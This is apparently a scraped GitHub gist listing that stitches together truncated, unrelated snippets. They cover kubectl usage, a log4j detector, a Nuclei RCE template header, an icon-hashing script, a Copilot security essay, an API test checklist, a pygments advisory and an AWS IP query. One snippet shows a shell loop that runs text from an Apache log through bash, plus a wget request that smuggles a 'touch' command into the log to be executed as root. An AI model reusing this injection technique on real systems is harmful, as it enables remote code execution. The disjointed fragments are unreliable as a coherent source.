Let's look at some basic kubectl output options.
Our intention is to list nodes (with their AWS InstanceId) and Pods (sorted by node).
We can start with:
kubectl get no
| #! /usr/bin/env python3 | |
| ''' | |
| Needs Requests (pip3 install requests) | |
| Author: Marcello Salvati, Twitter: @byt3bl33d3r | |
| License: DWTFUWANTWTL (Do What Ever the Fuck You Want With This License) | |
| This should allow you to detect if something is potentially exploitable to the log4j 0day dropped on December 9th 2021. |
| id: nuclei-rce | |
| info: | |
| name: Nuclei Template RCE by Chromium | |
| author: c3l3si4n | |
| severity: critical | |
| tags: rce,hackback | |
| headless: | |
| - steps: |
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| # Thomas Roccia | IconDhash.py | |
| # pip3 install lief | |
| # pip3 install pillow | |
| # resource: https://www.hackerfactor.com/blog/?/archives/529-Kind-of-Like-That.html | |
| import lief | |
| import os | |
| import argparse |
this is a rough draft and may be updated with more examples
GitHub was kind enough to grant me swift access to the Copilot test phase despite me @'ing them several hundred times about ICE. I would like to examine it not in terms of productivity, but security. How risky is it to allow an AI to write some or all of your code?
Ultimately, a human being must take responsibility for every line of code that is committed. AI should not be used for "responsibility washing." However, Copilot is a tool, and workers need their tools to be reliable. A carpenter doesn't have to
| $ echo "while :; do grep "BAH~" /var/log/apache2/interesting.log | cut -f 2 -d \"~\" | tr '_' ' '; done" | exec bash | |
| $ wget --no-check-certificate 'https://interesting/?BAH~touch_/tmp/foo~' | |
| root 10680 10679 0 21:27 pts/1 00:00:00 /bin/bash | |
| root 11125 10680 17 21:27 pts/1 00:00:02 bash | |
| $ ls /proc/11125/fd | |
| total 0 | |
| dr-x------ 2 root root 0 Jun 28 21:27 . |
Folks, Leave me a comment / URL if something you like is missing!
| Resource | Description |
|---|---|
| Kube Academy | https://kube.academy/ |
| kuernetes-101 | https://kube.academy/courses/kubernetes-101/ |
| Docs Home | https://kubernetes.io/docs/home/ |
| CKS CKA CKAD Simulator | https://killer.sh/ |
| ID | Test name | Domain | Owasp API Top Ten | |
|---|---|---|---|---|
| 1 | Test user enumeration (if applicable) | Authorization | A1, A3 | |
| 2 | Exploit vulnerabilities to gain unauthorized access | Authorization | A2 | |
| 3 | Transmission of sensitive information (token, credentials, etc.) in an insecure manner | Integrity/Confidentiality | A1 | |
| 4 | Test for specific data entry vulnerabilities | Data validation | A8 | |
| 5 | Perform fuzzing on all request parameters (sending malicious information, for example) | Data validation | A8 | |
| 6 | Test for injection vulnerabilities (SQLi, LDAP, XML, Xpath, XXE if applicable) | Data validation | A8 | |
| 7 | Testing for buffer overflow vulnerabilities | Data validation | A8 | |
| 8 | Test for logic failures (if applicable) | Data validation | A6 | |
| 9 | Test how the application behaves by receiving incomplete information | Data validation | A6 |
| Doyensec Vulnerability Advisory | |
| CVE-2021-27291 | |
| ======================================================================= | |
| * Regular Expression Denial of Service (REDoS) in pygments | |
| * Affected Product: pygments v1.1+, fixed in 2.7.4 | |
| * Vendor: https://github.com/pygments | |
| * Severity: Medium | |
| * Vulnerability Class: Denial of Service | |
| * Status: Fixed | |
| * Author(s): Ben Caller (Doyensec) |
| wget -qO- https://ip-ranges.amazonaws.com/ip-ranges.json | jq '.prefixes[] | if .region == "us-east-1" then .ip_prefix else empty end' -r | head -3 |